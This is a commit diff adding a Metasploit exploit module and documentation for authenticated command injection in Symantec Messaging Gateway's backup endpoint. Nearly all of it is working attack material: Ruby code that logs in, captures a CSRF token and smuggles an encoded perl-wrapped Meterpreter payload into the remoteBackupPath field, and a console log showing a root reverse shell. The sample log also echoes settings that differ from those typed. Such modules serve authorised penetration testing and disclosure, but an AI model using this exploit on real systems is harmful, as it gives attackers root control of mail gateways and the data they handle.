Adding Symantec messaging gateway rce
parent
f0f21891ad
commit
6ae540d889
|
@ -0,0 +1,57 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
|
||||
terminal command under the context of the web server user which is root.
|
||||
|
||||
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
|
||||
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
|
||||
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
|
||||
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Click on the "free trial" button at the following URL.
|
||||
[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway)
|
||||
|
||||
You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/symantec_messaging_gateway_exec
|
||||
msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
|
||||
RHOST => 12.0.0.199
|
||||
msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
|
||||
PASSWORD => qwe123
|
||||
msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
|
||||
SSH_ADDRESS => 127.0.0.1
|
||||
msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
|
||||
SSH_USERNAME => root
|
||||
msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
|
||||
SSH_PASSWORD => qwe123
|
||||
msf exploit(symantec_messaging_gateway_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Performing authentication...
|
||||
[+] Awesome..! Authenticated with admin:qwe123
|
||||
[*] Capturing CSRF token
|
||||
[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
|
||||
[*] Sending stage (39842 bytes) to 12.0.0.199
|
||||
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : hacker.dev
|
||||
OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,201 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Symantec Messaging Gateway Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
|
||||
terminal command under the context of the web server user which is root.
|
||||
|
||||
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
|
||||
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
|
||||
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
|
||||
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
|
||||
|
||||
This module was tested against Symantec Messaging Gateway 10.6.2-7.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'RPORT' => 443,
|
||||
'Payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Apr 26 2017",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [true, 'The username to login as']),
|
||||
OptString.new('PASSWORD', [true, 'The password to login with']),
|
||||
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
|
||||
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
|
||||
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
|
||||
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def ssh_address
|
||||
datastore['SSH_ADDRESS']
|
||||
end
|
||||
|
||||
def ssh_port
|
||||
datastore['SSH_PORT']
|
||||
end
|
||||
|
||||
def ssh_username
|
||||
datastore['SSH_USERNAME']
|
||||
end
|
||||
|
||||
def ssh_password
|
||||
datastore['SSH_PASSWORD']
|
||||
end
|
||||
|
||||
def auth
|
||||
print_status("Performing authentication...")
|
||||
|
||||
sid = ''
|
||||
last_login = ''
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
|
||||
})
|
||||
|
||||
if res && !res.get_cookies.empty?
|
||||
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
|
||||
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
|
||||
else
|
||||
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
|
||||
end
|
||||
|
||||
cookie = ''
|
||||
|
||||
# Performing authentication
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
|
||||
'headers' => {
|
||||
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
|
||||
'Connection' => 'keep-alive'
|
||||
},
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
|
||||
'vars_post' => {
|
||||
'lastlogin' => last_login,
|
||||
'userLocale' => '',
|
||||
'lang' => 'en_US',
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'loginBtn' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res &&res.body =~ /Logged in/
|
||||
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
|
||||
print_good("Awesome..! Authenticated with #{username}:#{password}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Credentials are not valid.')
|
||||
end
|
||||
|
||||
cookie
|
||||
end
|
||||
|
||||
def get_csrf_token(cookie)
|
||||
|
||||
print_status('Capturing CSRF token')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
|
||||
})
|
||||
|
||||
csrf_token = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
|
||||
if match
|
||||
csrf_token = match[1]
|
||||
print_good("CSRF token is : #{csrf_token}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Something went wrong.')
|
||||
end
|
||||
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
cookie = auth
|
||||
csrf_token = get_csrf_token(cookie)
|
||||
|
||||
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
|
||||
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
|
||||
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
|
||||
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
|
||||
|
||||
cmd = "python -c \"#{payload.encoded}\""
|
||||
final_payload = cmd.to_s.unpack("H*").first
|
||||
|
||||
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
|
||||
|
||||
# Ok. We are ready to go
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
|
||||
'vars_post' => {
|
||||
'pageReuseFor' => 'backup_now',
|
||||
'id' => '',
|
||||
'symantec.brightmail.key.TOKEN' => csrf_token,
|
||||
'backupData' => 'full',
|
||||
'customType' => 'configuration',
|
||||
'includeIncidentMessages' => 'true',
|
||||
'includeLogData' => 'true',
|
||||
'backupTo' => '2',
|
||||
'remoteBackupProtocol' => 'SCP',
|
||||
'remoteBackupAddress' => ssh_address,
|
||||
'remoteBackupPort' => ssh_port,
|
||||
'remoteBackupPath' => "tmp$(#{p})",
|
||||
'requiresRemoteAuthentication' => 'true',
|
||||
'remoteBackupUsername' => ssh_username,
|
||||
'remoteBackupPassword' => ssh_password,
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue